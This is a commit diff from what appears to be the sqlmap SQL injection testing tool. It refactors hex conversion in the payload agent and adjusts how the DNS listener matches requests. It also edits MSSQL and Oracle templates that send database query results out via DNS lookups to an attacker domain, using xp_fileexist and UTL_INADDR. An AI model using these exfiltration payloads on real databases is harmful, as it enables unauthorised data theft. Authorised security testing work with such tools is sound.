Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit abffc39

Browse files
committed
minor update regarding DNS data retrieval task
1 parent f7a664b commit abffc39

5 files changed

Lines changed: 35 additions & 11 deletions

File tree

lib/core/agent.py

Lines changed: 21 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -244,8 +244,28 @@ def cleanupPayload(self, payload, origValue=None):
244244
return payload
245245

246246
def getComment(self, request):
247+
"""
248+
Returns comment form for the given request
249+
"""
250+
247251
return request.comment if "comment" in request else ""
248252

253+
def hexConvertField(self, field):
254+
"""
255+
Returns hex converted field string
256+
"""
257+
258+
rootQuery = queries[Backend.getIdentifiedDbms()]
259+
hexField = field
260+
261+
if 'hex' in rootQuery:
262+
hexField = rootQuery.hex.query % field
263+
else:
264+
warnMsg = "switch '--hex' is currently not supported on DBMS '%s'. " % Backend.getIdentifiedDbms()
265+
singleTimeWarnMessage(warnMsg)
266+
267+
return hexField
268+
249269
def nullAndCastField(self, field):
250270
"""
251271
Take in input a field string and return its processed nulled and
@@ -288,14 +308,7 @@ def nullAndCastField(self, field):
288308
nulledCastedField = rootQuery.isnull.query % nulledCastedField
289309

290310
if conf.hexConvert:
291-
if 'hex' in rootQuery:
292-
nulledCastedField = rootQuery.hex.query % nulledCastedField
293-
else:
294-
warnMsg = "switch '--hex' is currently not supported on DBMS '%s'. " % Backend.getIdentifiedDbms()
295-
warnMsg += "Going to switch it off"
296-
singleTimeWarnMessage(warnMsg)
297-
298-
conf.hexConvert = False
311+
nulledCastedField = hexConvertField(nulledCastedField)
299312

300313
return nulledCastedField
301314

lib/core/common.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1608,7 +1608,7 @@ def getSPLSnippet(dbms, name, **variables):
16081608
checkFile(filename)
16091609
retVal = readCachedFileContent(filename)
16101610

1611-
retVal = re.sub(r"#.+", "", retVal)
1611+
retVal = re.sub(r"#.+", "", retVal).strip()
16121612

16131613
for _ in variables.keys():
16141614
retVal = re.sub(r"%%%s%%" % _, variables[_], retVal)

lib/request/dns.py

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,7 @@
88
"""
99

1010
import os
11+
import re
1112
import socket
1213
import threading
1314
import time
@@ -63,6 +64,16 @@ def pop(self):
6364
retVal = self._requests.pop(0)
6465
return retVal
6566

67+
def pop(self, prefix, suffix):
68+
retVal = None
69+
with self._lock:
70+
for _ in self._requests:
71+
if re.search("%s\..+\.%s" % (prefix, suffix), _, re.I):
72+
retVal = _
73+
self._requests.remove(_)
74+
break
75+
return retVal
76+
6677
def run(self):
6778
def _():
6879
try:

procs/mssqlserver/dns_request.txt

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,3 @@
11
DECLARE @host varchar(1024);
2-
SELECT @host = '%PREFIX%' + (%QUERY%) + '%SUFFIX%' + '.%DOMAIN%';
2+
SELECT @host = '%PREFIX%.' + (%QUERY%) + '.%SUFFIX%' + '.%DOMAIN%';
33
EXEC('xp_fileexist "\' + @host + 'c$boot.ini"');

procs/oracle/dns_request.txt

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%'||(%QUERY%)||'%SUFFIX%'||'.%DOMAIN%') FROM DUAL
1+
SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%'||'.%DOMAIN%') FROM DUAL

0 commit comments

Comments
 (0)